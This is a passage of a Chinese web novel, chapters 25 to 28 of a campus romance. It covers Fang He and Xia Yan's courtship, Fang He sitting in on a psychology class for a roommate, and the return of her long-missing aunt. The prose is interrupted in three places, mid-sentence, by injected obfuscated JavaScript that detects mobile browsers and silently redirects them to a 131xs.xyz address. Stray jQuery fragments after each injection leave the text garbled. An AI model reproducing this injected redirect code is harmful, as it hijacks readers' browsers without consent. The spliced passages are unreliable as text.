方禾继续解释:“但奶奶还是觉得‘穗穗’叫起来更好听,就用‘穗穗’来当我的小名啦。佳冰从小就跟我认识,她听奶奶叫我‘穗穗’,自己当然也就跟着这么叫了。” “穗穗。”夏岩自己小声念了一遍这个小名,说出他的感受,“确实好听。” “穗”本来也是禾谷类作物的花和果实,两个字联系在一起,自然而然地就让人的眼前浮现出麦浪翻金时田垄间此起彼伏随风摇曳的穗子,像是把整片丰饶的稻田都藏进了名字里。 夏岩就觉得方禾的大名和小名都取得很好。 “那你以后也这样叫我好不好?”方禾抱住夏岩的脖子,蹭了蹭。 奶奶、佳冰、小姨……跟她亲近的人都这样叫她,夏岩也是她的男朋友,她想让夏岩也这样叫她。 奶奶不在了,小姨多年没有消息生死不明,现在只剩下韩佳冰会喊她“穗穗”。 夏岩还不太习惯这样亲密的动作,往后缩了缩。 至于喊她“穗穗”的事情……只念一下还好,真要他这样叫方禾,夏岩忽然就叫不出口了。 太亲密了,这让他张不开嘴。 他越不肯叫,方禾就非要让他叫。 “试试嘛。”方禾抱着夏岩的胳膊左右乱晃,“试试嘛,你刚刚不是还夸我的小名好听,难道你刚才说的是假话,你觉得‘穗穗’很难听,所以才不肯叫?” “不是,我没那样想。”夏岩否认,他的目光始终温柔。 “那就叫一声让我听听,再说了,谁家男朋友叫女朋友大名,听起来多生疏啊。”方禾一字一顿,重复她的要求,“叫、我、穗、穗。” “穗……”夏岩张了张嘴,看见方禾那双明亮灿烂的眸子正一动不动地盯着他,一个字出口之后忽然就卡了壳,半途而废。 瞧见夏岩微微泛红的耳朵,方禾憋着笑低下头去,将脑袋埋在夏岩的胸前。 “我不看你了,这样总行了吧。” 安静了几秒钟,方禾如愿听到了“穗穗”两个字在她头顶响起。 不同于先前那两遍的平淡冷静,这一次,这两个字里明显裹上了一层温柔的情意,让方禾想起小时候吃白面馒头,奶奶会悄悄给她盛一小碗蜂蜜。 撕成小块的馒头在蜂蜜里蘸一蘸,裹满了金色的蜜,再喂进嘴里时,那叫一个甜! 25. 第 25 章 在操场待到天黑,夏岩把方禾送到宿舍楼下。 方禾开门进屋时,杨惜正在抱怨她发在群里的代课,先是没人接单,然后好不容易来了两个愿意接的,居然还坐地起价。 “我发誓,我选这门课的时候是真的感兴趣,可是,鬼知道这门课最后居然排在了周五晚上啊!”杨惜气到跳脚,“谁家好人把课排在这种阴间时间,这不是耽误人回家、耽误人出去玩儿嘛!连代课都不好找。” 田晓佳憋着笑:“哎,周五嘛,正常。” “真是怪了,明明前两周还挺好找代课的。” 方禾随口一猜:“可能天冷了,大家都不愿意出门?” 杨惜咬咬牙:“实在不行就只能加钱了,我都说好了这周要去找他的,哎,幸亏这门课只上八周,不然不知道我还要花多少冤枉钱。” 杨惜口中的“他”是她的男朋友。 宿舍夜聊的时候杨惜讲过,她和她男朋友高中是同一个班的,也说好了要考同一个大学,但她男朋友没发挥好,所以现在在复读。 高三时间本来就紧张,何况是压力更大的复读班,只有周五下午会放假,这就是杨惜宁愿花高价找代课也不想自己去上课的原因,她不想错过一周一次跟男朋友见面的机会。 “你选的这门是什么课?”方禾在自己的书桌前坐下,托着下巴问。 “基础心理学。” 心理学啊,听起来有点意思,方禾想了想,跟杨惜说:“花那钱干嘛,我去帮你上课就好了,反正我也没什么事。” “真的啊!”杨惜的眼睛亮了一瞬,但正所谓“己所不欲,勿施于人”,她还是跟方禾确认了一下,“你不跟男朋友出去吃饭约会什么的吗?” “他周五晚上有家教的。” 杨惜一听,双手抱拳:“那就拜托你了,等我回来给你带奶茶。” - 翌日傍晚,方禾背上书包出发了。 到了对应的教室,方禾找了角落的位置坐,从包里取出她买的四级真题,埋着头,等着讲台上的老师按学号点名。 她第一次干这种事情,有点心虚。 成功替杨惜答了到,方禾松了一口气,翻开她的真题开始做完形填空。 她只是听着玩儿,没准备做笔记,结果老师忽然讲到了“生态疗法”,方禾听了几句,不由自主地从眼前的英语单词中抬起头来,抓起手机就开始拍PPT。 一个多小时的课,方禾一篇完形填空只写了不到一半,心理学的笔记倒是写了不少,有些后悔自己没选这个课。 下了课,她边走边给杨惜发消息:【惜宝,你以后也不用找代课了,这门课我替你上了。】 她如实说:【还挺有意思的,早知道我也选这个课了,不该只选插花艺术。】 杨惜正和男朋友吃泰餐呢,看到方禾的消息,她笑得比看男朋友的时候还高兴:【好姐妹,你这学期的下午茶我都包了!】 方禾:【哈哈哈哈还是别了,我怕吃多了长胖。】 杨惜:【怕胖啊,这个好说,我叫你一个轻轻松松就能减肥的法子。】 方禾好奇地问:【什么?】 杨惜:【网上说,想要减肥,多亲亲嘴,反正你有对象,你俩没事多亲亲不就行了。】 方禾:【震惊.jpg】 方禾:【真的假的?你在跟我开玩笑?】 杨惜:【当然是真的啊,你别不信,接吻可以消耗卡路里,这是有科学依据的。】 震惊过后,方禾从手机相册里翻出夏岩的照片,盯着他的唇看了又看,视线一遍遍描摹夏岩的唇形。 牵手是她主动的,接吻总不会还要她先来? 方禾决定等等看,多谈几天夏岩总不会一直不亲她。 她还在琢磨接吻的事情,夏岩的消息就进来了,问她明天的安排。 明天啊……如果没有跟夏岩在一起的话,她明天的原计划是睡到自然醒,然后去教室刷四级真题。 虽然大家都说四级不用怎么准备就能过,可她都买了真题了,不刷岂不是浪费?而且方禾的目标不止是考过,她想考到本校免修英语的分数线以上,甚至考一个更漂亮的分数。 方禾不喜欢自己的计划被别人打乱,哪怕这个人是夏岩。 所以最后两人定下明天的约会方案是,白天在教室自习,方禾刷题,夏岩看书,晚上再一起去看个电影。 冬天早起其实是一件比较困难的事情,哪怕八点半已经不算早了,爬出温暖的被窝也不太容易。醒来之后,方禾又眯了一会儿,才懒懒地起床洗漱。 背着包包下楼时,夏岩已经在楼下等着了。 吃过早饭,他们找了一间教室自习,两人挨着坐,各做各的事情,耳边只有书页翻动和写字的声音。 做完两篇阅读理解,方禾碰了碰夏岩的胳膊肘,示意他看手机。 教室里应该保持安静。方禾最讨厌那些在教室里腻腻歪歪、嘀嘀咕咕、不断发出各种奇怪声音的情侣了。 所以换位思考一下,她也不希望自己和夏岩成为被别人讨厌、被别人吐槽的情侣,他们要做一对高素质的情侣,从一众不顾场合就散发恋爱酸臭味的情侣中脱颖而出! 所以她只通过打字、动作和眼神来跟夏岩交流,连凑到耳边小声说话这种举动都不会做。 夏岩不知道方禾的脑回路,拿出手机,见她发过来的消息是:【你会折千纸鹤吗?】 他点了一下头。 方禾就轻轻撕了一张纸,放到他面前。 夏岩轻笑一声,放下书,开始折。 方禾看着那张纸在夏岩手中被不断翻折,看了一会儿就没耐心了,她收回视线,继续做她手里的真题。 等她偏头再看过去的时候,夏岩手里多了一支纸折的玫瑰花。 不是千纸鹤。 她没说话,也没在纸上写,但夏岩能从她的眼睛里看出来,她很欢喜,弯着唇角接过玫瑰花拍照。 只是一朵纸做的玫瑰而已,夏岩想,这姑娘也太好哄了,这么好哄,在感情里是容易吃亏的。 夏岩开始期盼方禾能长久地喜欢他,之前他希望她能遇上更好的,但现在,他却不放心她和其他人在一起了。 下午在校门口吃了一顿热乎乎的鸡公煲,两人出发去看电影了。 这是方禾第三次看电影。 第一次是高中班上的集体活动,一起去镇上的电影院。 第二次是在卢嘉,她跟玉娇姐和娅萍姐一起去的。 两人去的时候是坐地铁,回来时为了节省时间尽快赶到学校,夏岩打了车。 车子还没开到学校,方禾扯了扯夏岩的衣服:“夏岩。” “怎么了?” 她抓紧他的衣服:“我难受。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548684|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏岩立刻偏头看向她:“晕车了吗?” 方禾有气无力地说:“嗯,头好晕,胸口也闷闷的。” 方禾上车的时候就开了车窗,可她还是晕乎乎的。 “对不起,我不知道你晕车,早知道就不打车了。” “没事,我有时候也不晕。” 夏岩心疼地握住她的手:“实在不舒服的话,要不我们现在下车?” 说完,夏岩就喊了司机:“师傅,麻烦……” “不用。”方禾拦住他,“马上就到了,还没有难受到想立刻下去的地步,我能坚持的,而且我现在手软脚软,下车了也不想走路。” 夏岩没听她的,依然让司机师傅就近靠边停车了。 下了车,夏岩背对方禾,俯低身子:“我背你。” “真的啊!”刚才还因为晕车而恹恹的方禾有了几丝精神,笑着趴到夏岩背上。 夏岩稳稳地背起方禾,还不忘说:“任何让你感觉难受的事情都应该及时停止,而不是一直默默忍耐。” 方禾:“哦。” 她转头看向一侧,夜幕下,车灯在马路上汇成流动的星河,红黄交错,色彩斑斓。 方禾平时话多,两人之间的交流也基本上都是她说为主。但她现在身体不太舒服,也就没有主动挑起话题。 倒是夏岩,走了几步路之后,忽然问她:“这两天,和我在一起,你开心吗?” 他语速缓慢,像是纠结了许久才问出了这句话。 方禾想都没想,直接说:“开心啊。” 夏岩:“那就好。” 方禾被夏岩背着,脑袋就靠在夏岩的肩上,她能感觉到夏岩刚刚长舒了一口气。 为什么会这样?刚刚又没说什么沉重的话题…… 不对……联系他几分钟之前说过的那句“任何难受的事情都该停止”,方禾忽然意识到,夏岩这句话似乎并不只是在问她开不开心那么简单。 “喂!”方禾用下巴在夏岩肩上磕了一下,“你该不会是想说,如果我不开心的话,我们的这段恋爱关系也应该终止?” 夏岩:“本来也该这样。” 方禾的发丝就垂落在他耳侧,他继续说:“方禾,好的感情应该是让你感到快乐的,让你没有负担的,如果和我在一起,你只能感受到一些负面的情绪,我希望你也可以及时叫停,而不是一个人悄悄忍受。” “嗯。”方禾认真想了一下,“你的话很有道理,我也知道你是在为我好,但是呀,夏岩,你就不能对我们的感情乐观一点吗?你就不能自信一点吗?” 她往他耳边凑:“我真的非常非常喜欢你,和你在一起我也真的非常非常开心,至少目前是这样。” 方禾用了很多个非常,想让夏岩明白她对他的心意。 现在开心快乐就要好好相处,至于以后嘛,如果夏岩让她失望了,不需要他主动说这些劝退的话,她也会先踹了他。 “那你呢?”方禾在夏岩的肩头蹭了蹭,问他,“夏岩,和我谈恋爱你开心吗?” 她不希望只有自己一个人在这段感情里获得了快乐。 “开心。”是他不曾想象过的开心。 “好,那你要是不开心了,或者累了,也要跟我说,好不好?” “好。” 夏岩在想,他不会累,更不会不开心,他只怕方禾会在这段关系中受委屈。 26. 第 26 章 星期六约了一天会,星期天方禾跟夏岩都各有各的兼职。 方禾去辅导班做助教,夏岩是去诊所抓药煎药。 方禾开学前,方达海给她转了一笔钱,还说,让方禾以后除了要钱就别再找他。 方禾觉得很可笑。 除了去年那次打电话让他去补电话卡,近些年她什么时候因为钱以外的事情找过他? 小的时候有过。那时候方禾只有几岁,她不明白为什么班里的同学都有爸爸妈妈,而她却只有爷爷奶奶,爷爷还不喜欢她。 她知道奶奶喜欢她,小姨也疼爱她,可这两个爱她的人终究不是她的爸爸妈妈。 她不想被别人歧视,她也想有爸爸妈妈。长大了一点,方禾明白了什么是生,什么是死,她就知道她的妈妈再也不会回来了,即便她再渴望,她也没办法像其他孩子一样被妈妈温柔地抱在怀里哄。 可爸爸还活着不是吗? 从方禾有记忆的时候起,她爸爸就不在她身边。奶奶跟她说,爸爸要在外面挣钱,平时太忙了,没有时间回来看她。 这个方禾懂,班上有不少爸爸在外地打工的孩子。可那些孩子经常能收到爸爸从外地寄来的东西,或是衣服,或是吃食,他们逢年过节都能见到爸爸,有爸爸陪着一起玩,可她却没有,她还是跟其他孩子不一样。 家里有了电话之后,方禾频繁地给方达海打电话,她想告诉爸爸,她不需要很多钱,她可以不买零食,不买新衣服,把钱都省下来,她只想要爸爸回来看看她,陪陪她。 最开始方达海还会敷衍地哄方禾两句,时间长了,方禾打电话的次数多了,方达海不胜其烦,开始不接方禾的电话,即使偶尔接了电话,他也只是冷漠地告诉方禾,让她乖一点,安分一点,不要总是打扰他。 所以,她联系自己的爸爸,对爸爸来说只是一种打扰吗? 她失落,她难过,可她无力改变。也许,只要她听爸爸的话,乖乖的,不去打扰爸爸,爸爸就会喜欢她? 方禾开始试着做一个乖女儿,好好吃饭,好好学习,可乖乖的她,等来的只是爸爸和另一个女人结婚的消息。 爸爸依然不喜欢她,爸爸很快又有了新的孩子,他变成了别人的爸爸,而她成了没人要的孩子。 无论她哭,还是她笑,无论她乖巧,还是她闯祸,方达海的情绪都不会被她牵动,那个中年男人对她没有一点点的在乎。 从那之后,方禾就明白了,方达海不会给她身为父亲的关爱,所以她早就不指望从他身上去获取爱了,她不再叫方达海“爸爸”,也几乎不会主动找他。 离家出走那次,算是方禾最后一次试图从方达海那里看到一个父亲对女儿应有的在意,可她失败了,败得很彻底。 上个月交学费的时候,方禾办了助学贷款,准备等她毕业工作之后自己来还,方达海不想让她联系他,她还不乐意联系他呢! 她暑假打工挣了几千块钱,之前在火锅店打工攒下的钱还有剩的,现在每个周末有兼职,平时还有佳冰给她介绍的线上校对的活儿干,下学期应该能拿到奖学金,完全能够应付日常的花销,没有方达海她也可以过得很好。 反正方达海给她钱她就收着,他不给她钱,她也不会再伸手问他要。 下午六点,方禾挎着包从辅导班出来,她晕车,所以准备骑自行车回学校。 还没扫码开锁,佳冰发了消息来,说邻居家的柳奶奶没有她的号码,联系不上她。 方禾换了手机号之后,村里的人很少有她的号码。 方禾不知道柳奶奶找她有什么事,问佳冰要来了柳奶奶的号码,打了过去。 她没带耳机出来,也没胆子尝试单手骑车,就先慢慢往学校的方向走,想着等打完电话了再骑车,反正街上的共享单车有很多。 电话接通后,柳奶奶笑得神秘莫测,让方禾等一等,然后把手机交给了旁边的另一个人。 下一刻,手机听筒里就传来了一道温和的女声,激动地叫她“穗穗”。 方禾能隐隐感觉到这声音有些熟悉,可是又猜不到电话那边的人会是谁。 “穗穗还记得我吗?我是小姨啊。”陈喜竹颤声说。 “小姨?” 方禾有些难以置信,随着“小姨”两个字的出现,听筒里断断续续的声音竟也慢慢和方禾记忆中小姨那张模糊的脸重合在了一起。 小姨外出打工的时候,方禾才七岁,她记得小姨离开之前抱着她说,等过年回来就给她买书、买好吃的、买新衣服。 前两年小姨也确实每年冬月腊月都会回来,每次回来都会给她带很多东西。 所以方禾也理所当然地认为只要冬天来了,小姨就会回来了。 到了第三年,方禾如前两年一样盼着小姨回来,她从入冬一直盼到除夕,村里外出务工的人一拨一拨地都回来了,连不常回家的方达海都回来了,可小姨却没有回来。 过了一年又一年,小姨还是没回来,小姨的家人一开始也去找过,可哪里找得到,当初和小姨同行的那些人,要么说不知道,要么也联系不上了。 虽然没有确切的消息,但从村里人的议论声中,从亲戚们讳莫如深的眼神中,十多岁的方禾也猜到了,小姨大概是出事了。 电话里,陈喜竹没有说太多,只说她平安回来了,现在过得很好,还说等她安顿好了就马上买票来学校看方禾。 方禾脑子有点懵,骑车回学校的路上,她吹着风,总算消化了这个巨大的惊喜。 所以见到夏岩的时候,她一个飞扑过去,把夏岩撞得身子往后仰了仰。 “夏岩,我小姨回来了!” 她语气雀跃,眼里也是藏不住的欢喜。 夏岩却听得云里雾里的。 他只知道她有个早就重新组建家庭的不靠谱爸爸,有个爱喝酒、爱骂人同样不靠谱的爷爷,有个非常爱护她但已经离世的奶奶,有个去世年份和她的年纪一样的妈妈……至于小姨,他倒是还没有听方禾说起过。 两人忙了一天,都还没有吃晚饭,方禾抱着夏岩的胳膊,边往小吃街走边跟夏岩讲小姨的事情。 听完方禾的话,夏岩明白了,方禾找回了一个爱她的人。 夏岩也被方禾的喜悦感染,他高兴的是,他女朋友又多了一个疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555983|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惜她的人。 - 一周之后,方禾见到了她整整十年都没有见过面的小姨陈喜竹,以及她突然冒出来的小姨夫赵继然。 夏岩不打扰方禾和亲人团聚,但这年头,亲人卷入传销又拉亲人入深渊的例子多得是,所以他和方禾说好了,他会远远地跟在后面。 “小姨,真的是你!”高铁站外,方禾看到陈喜竹时,激动得拉住小姨的胳膊一直摇。 方禾记忆中的小姨是一个二十岁的年轻姑娘,现在的小姨老了很多,眼角全是细纹,神采也不如当年。 拉着小姨胳膊的手下滑,握住小姨的手时,被小姨手掌粗糙的触感惊到了。 可想而知,小姨这些年过得一定很不好。 “小姨,我好想你,这么多年你到底去哪里了?” 最开始小姨没回来的时候,方禾还跟奶奶吵着闹着说想小姨了,时间长了,她也渐渐明白自己可能再也见不到小姨了。 没想到,在她早就不抱希望的时候,小姨居然回来了。 方禾刚问完,一转头,注意到了站在小姨身边高大魁梧却面带和善的陌生男人。 陈喜竹笑笑,给外甥女介绍起了自己的丈夫。 赵继然露出一个憨厚的笑,摸了一把自己的头发:“先去吃饭吧,咱们边吃边说。” 三人在高铁站旁边的中餐馆落座。 热气腾腾的菜上了桌,小姨还点了方禾爱吃的猪蹄,但方禾却拿不动筷子。 她现在才知道,原来那年小姨外出打工的时候是被黑中介骗了,被卖到了偏远山区,被迫在茶叶作坊劳作了七年,直到黑工厂被捣毁。 陈喜竹的手机和身份证都被扣下,她想逃,但试了很多次都逃不掉,反而会被抓回来殴打。 不止逃跑会挨打,干活的时候动作稍慢也会被监工的人拉出来打,无止境的劳作中,陈喜竹变得麻木,只知道清洗茶叶、炒茶和筛茶梗。 赵继然是当地开货车的司机,因为运输茶叶的关系,他能时常进入茶厂。 起初赵继然只当这是一个普通的工厂,直到警方找上了他,希望他这个经常进出茶厂的熟脸能帮忙掩护他们的便衣,帮忙搜集证据,于是往常只专注于装货的赵继然,开始留意茶厂里的人,他就是那个时候注意到陈喜竹的。 一众弯腰分拣茶叶的憔悴女工赵继然都同情,但他最心疼的还是陈喜竹,也许是因为她看起来最纤柔瘦小,也许是因为她的眼睛明亮漂亮。 解救行动真正开始的那天,赵继然也参与了,他找到了躲在炒茶锅炉旁瑟瑟发抖的陈喜竹。 被救出来之后,陈喜竹和其他工人一起住在县救助站。 她精神恍惚,只记得自己的名字,只记得炒茶的工序,却始终记不起自己是哪里人。 随着时间的推移,很多工人都被送回了家,但也有一部分工人来自更偏远村落,自己记不得家乡,跨省协调的进程又缓慢,就只能一直留在救助站里等待。陈喜竹便是其中之一。 她是不幸的,意外被拐,打了那么多年黑工。 唯一的安慰是,她得救了,还有了一个不错的丈夫。 27. 第 27 章 方禾找回了小姨,心情很好。 四级考试考完后,她对了答案,感觉自己考得挺好,心情就更好了。 唯一的烦恼是,她发现半个月过去了,夏岩一点也没有要亲她的意思。 她没谈过恋爱,不知道别人的进度是什么样的,只能悄悄问谈了半年的杨惜,还有上个星期刚谈上恋爱的田晓佳。 得到回复,方禾觉得,她还是得逼夏岩一下,不然两个人得等到猴年马月才能亲上。 这天晚上两人逛操场时,方禾挠了挠夏岩的手心。 “怎么了?” 方禾问得小心翼翼:“你是不是……是不是不喜欢我?” “不喜欢的话,你可以直说,我们和平分手就行了,我不会妨碍你去找新女朋友的……”方禾难得露出这种委屈巴巴的小表情,说话的音量也不如平时高,后半句更是越说声音越小。 “你怎么会这么想?”夏岩面露不解,他哪有不喜欢她。 “因为你都没有亲过我啊。”方禾低头,绞着手指,“人家男女朋友都有亲亲的……” “没有的事。”夏岩手忙脚乱地解释,“我没有不喜欢你,我只是……总觉得你好像还是十六岁。” 还是那个离家出走一个人来到异乡火锅店里打工的少女,还是那个不知爱情为何物就敢每天追在他身后嚷嚷着喜欢他的少女,还是那个有些孩子气却不失大胆的少女。 “所以每次想亲你,都会有一种罪恶感。” 原来是因为这个,弄清楚了原因,方禾马上收起了刚才那副谨小慎微的神色:“可我现在不是十六岁了啊。” “你好好看看我。”方禾双手捧着夏岩的脑袋,让他和自己对视,“你看清楚,我都十九了。” “虽然个子没怎么长,但我比前两年成熟了一些啊,化妆的技术也长进了,你再好好看看,我是不是比两年前漂亮了?” 她追着问:“是不是?” 夏岩不知道这是不是所谓的送命题。 如果回答“是”,岂不是变相地承认两年前的方禾不够漂亮了? 可不管是现在的方禾,还是两年前的方禾,在他看来,都很漂亮,漂亮得让他舍不得移开眼,想一直亲。 偏偏,这样亲密的举动,夏岩又觉得会是一种亵渎,所以他不敢轻举妄动。 “夏岩,你不要什么都让我来主动好不好?”方禾生气地嘟起嘴巴,“表白是我,牵手是我,接吻这种事该不会也要等我来吧?” 暮色低垂,操场的灯再亮,也照不亮操场的所有角落。 微暗的光线中,夏岩能看见方禾蜜色的唇瓣。 忽地,他抬手覆上她眼睫。 她的睫毛一颤一颤,每颤一下都会扫过他的掌心,手心微痒,胸膛里的那颗心也被勾得有些痒。 “闭眼。” “你不是都捂着我眼睛了吗,还要闭眼啊?” 方禾就喜欢跟他闲扯,说话间,小嘴一张一合。 迟疑了两秒,夏岩俯身,吻了下去。 饶是有心理准备,真正感受到夏岩的唇的时候,方禾还是心头一跳。 这是他们的初吻,夏岩又是那种有些古板的性格,所以方禾以为夏岩只会蜻蜓点水、浅尝辄止地吻一下。 然而,这人居然…… 舌尖抵进来的时候,方禾尝到了他们刚刚喝过的桂花酒酿的味道,然后耳边有了夏岩的声音—— “呼吸。” “不是胆子很大吗?怎么这会儿连呼吸都忘了。” 夏岩终于放下捂着她眼睛的那只手了,方禾喘着气,看见操场边隐在树梢里的路灯,树尖亮着,像萤火虫发出青荧的光。 气喘匀了,方禾对自己刚刚的表现不太满意。 她才不是胆小,她只是第一次接吻,没有经验而已。 气势不能输,方禾黑润润的眼珠转了转,随手指了指夏岩身后:“咦,你看那边树上怎么有只猫!” 夏岩下意识朝方禾手指的方向看过去。 趁夏岩还没反应过来,方禾先踮起脚尖摘下了他的眼镜。 视线模糊的瞬间,夏岩的唇上多了一抹柔软的触感。 与此同时,胸膛里那颗跳动着的心脏也似乎被什么温软的东西给包裹住了。 待视线恢复清明,刚刚吻他的姑娘早就跑掉了,只余下他鼻尖丝丝缕缕的桂花香。 愣了愣,夏岩大步追上去:“跑什么?” 方禾捂着发烫的耳朵:“我要回宿舍了。” “嗯,我送你回去。” 夏岩家教的学生有事要回老家,他周五不用过去。 想到他陪方禾的时间有限,路上,夏岩便提议周五晚上逛夜市。 “不行,我要上课的。” “你周五晚上不是没课?”他看过方禾的课表,只有周一和周四有晚课。 方禾解释道:“是一个心理学的课,我没选,但是去听了一次觉得还不错,就想上到结课。” 方禾已经去上了三次课了,这三次课让她意识到,园艺不只是设计图纸、布置景观让人欣赏,园艺还可以作为心理干预的工具。 方禾想,等下学期选课的时候,她一定要选一门健康心理学的课。 “那周六?”夏岩换了时间。 “周六啊,”方禾想了想,说,“周六可以,不过我那天要去养老院做志愿活动,不知道什么时候能回来,我那边结束之后给你发消息吧。” 这是她好不容易才抢到的志愿者的名额,虽然动机里有一半是为了加分,但方禾也是真的想去养老院看看。 “哦,还有,”方禾补充,“我周天早上还要去一个社区的志愿活动,要早起的,所以逛夜市不可以逛到太晚。” 夏岩懂了,他女朋友是个大忙人。 但这样很好,她有自己的事情要做,有自己的目标和计划,本来也不该一门心思全扑在他身上。 走到方禾的宿舍楼下,夏岩把自己替方禾拿了一路的帆布包递给她。 包里插着夏岩今天买给她的淡黄色洋桔梗。 夏岩送了她好几次花,无一例外,每次都是黄色。 有花蕊是黄色的洋甘菊,也有整个花都是黄色的郁金香和黄玫瑰。 刚开始方禾还觉得新鲜,收到花的次数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561508|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了,她心里开始有了负担。 她只知道夏岩还有兼职,知道他妈妈重新找了工作开始上班,但是她怕戳到夏岩的伤口,所以一直没有进一步跟夏岩聊过他家里的经济情况。 方禾不知道夏岩家里是不是还欠着债,不知道夏岩会不会因为谈恋爱的花销而再偷偷多打几份工。 可能是她现在想得还不够长远,还没有考虑以后的生活和现实因素,现阶段的方禾觉得,她不需要夏岩给她花很多钱,相比钱,她更看重陪伴和情绪价值。 这样想着,方禾也就说出了她的顾虑。 夏岩笑了,跟她贴了贴额头:“你不用想那么多,我给你的,都在我的能力范围之内,我不会傻到去干打肿脸充胖子的事。” “倒是你,跟我在一起委不委屈?我没有很多钱给你,也没有很多时间陪你。” 妹妹上学需要学费,欠的债还没还清,他兼职挣来的除了自己用,还要给家里。 方禾也知道他家里的情况,没让他在谈恋爱上花多少钱,只是,她越是这样为他考虑,他就越觉得自己亏欠了她。 方禾才不委屈,她点了点夏岩的鼻尖,告诉他:“你对我好我就不委屈。” “不委屈,那会羡慕吗?”他问。 “羡慕什么?” 夏岩举例:“羡慕别人的男朋友可以带女朋友去吃大餐,给女朋友送名贵的东西,我们俩就只能吃鸡公煲,吃街边小摊。” 方禾很老实地回答:“也就一点点羡慕,比起这些,我更羡慕晓佳的男朋友每天都给晓佳发很多条消息!”夏岩的话还是太少了。 夏岩敛眸,点点头:“好,那我以后多给你发消息。” “方禾。”自打方禾要求他用更亲近的“穗穗”来叫她,夏岩就很少叫她的大名,只有在他觉得很严肃、很郑重的时候,夏岩才会这样叫她。 方禾应了他一声,听见他说:“虽然现在说这些感觉挺虚无缥缈的,但你信我,等以后好起来,我给你的会比现在更好,现在我只能给你买几十块钱的花束,以后……” “以后给我买九百九十九朵一束的玫瑰花吗?”她眨眨眼,笑着问道。 “当然可以。” 方禾认真考虑了一下:“还是算了,太多枝花我可抱不动,你买能占满我怀抱的大小就好,这个省下来的差价要买不会凋谢的东西送我,玫瑰再好看,枯萎了就没了。” “好,我记住了。”夏岩承诺道。 可人的记忆是有限的,夏岩知道自己此时此刻的心有多真,可他不确定未来的自己会不会漫长的生活里,逐渐忘记这些答应过方禾的事情。 所以夏岩的记住,从来都不是口头的一句应付,而是很认真地把他对方禾的承诺全都敲进备忘录里。 那个备忘录里写的全是和方禾有关的事情。 第一排字是——要好好爱方禾。 后面记了很多零碎的东西,方禾喜欢的口红色号,方禾喜欢的菜式。 方禾喜欢桂花,喜欢桂花酒酿。 方禾说要养一只狸花猫,方禾说要很多玫瑰花,玫瑰花的数量以她能抱动的最大重量为限度。 28. 第 28 章 离熄灯时间还早,方禾回到宿舍,先修剪了花枝,把洋桔梗插到灌了水的花瓶里,摆在书桌的角落。 她给花拍照的时候,其他人正在热烈地谈论着平安夜当天各自的计划。 田晓佳和男朋友去游乐园玩,邹珊跟街舞社团认识的朋友去逛街看电影。杨惜的男朋友在复读,平安夜不放假,两人见不到面,所以杨惜准备回家,她哥每年都会在客厅弄一棵很大的圣诞树,她要回去收礼物。 一圈说完,自然有人问起方禾的安排。 被这样一问,方禾才发现自己还没有想过。 平安夜,圣诞节……传统节日方禾没怎么过过,这种西方传来的节日方禾更是一次都庆祝过。 她就记得,高中的时候,班里有不少同学都借着这平安夜的机会给自己的暗恋对象送苹果,学校为了打击这种现象,严禁学生过洋节,连学校围墙边隔着铁栏杆卖包装精美的平安果的小贩都被保安撵走了。 节不节的方禾无所谓,找个理由把夏岩喊出来约会才是正经事! 可约会做些什么呢?方禾还没有头绪。 十一点,整栋宿舍楼准时陷入黑暗。 方禾所在的宿舍氛围很好,一般熄灯之后大家都会自觉地保持安静,除非四个人都想夜聊。 方禾是最后一个上床的,她打开手机的手电筒,把屋里和阳台的灯关了,如果不关,明天早上六点一通电,宿舍里瞬时天光大亮,会晃得大家都睡不好。 方禾的脚还没踩上梯子,旁边床上的杨惜忽然小声地“哎呀”了一下。 她掀开床帘一角,向唯一在床下的方禾求助:“我忘记把耳机拿上来了,帮我拿一下。” “在哪里?” “我桌上,应该就在笔筒旁边。” 方禾打着手电筒过去,找到耳机,递给杨惜。 “谢谢宝。” 方禾爬上了床,床帘拉动的声音之后,宿舍鸦雀无声。 可安静了没一会儿,突然响起了一阵非常古怪的声音。 方禾还奇怪呢,就听见田晓佳捶着床哈哈大笑起来:“惜宝,你的耳机是不是没有连上?” “啊!”杨惜震惊地坐起来,定睛一看,她果然在外放。 邹珊也笑,笑得意味深长:“在看什么好东西?我好像听见了……” “当然是看一些活色生香的东西。”食色性也,杨惜不觉得这有什么好避讳的。 见大家都还没睡,杨惜还大大方方地问:“你们要看吗?我有很多资源和网站。” “要要要,分享给我!”邹珊抢先道。 “方禾、晓佳要不要?” “……要的。”田晓佳忍着羞说。 “那我也要。”方禾还没看过呢,有些好奇。 “那我直接发群里。” 几分钟后,宿舍群聊被杨惜发的各种链接刷屏了。 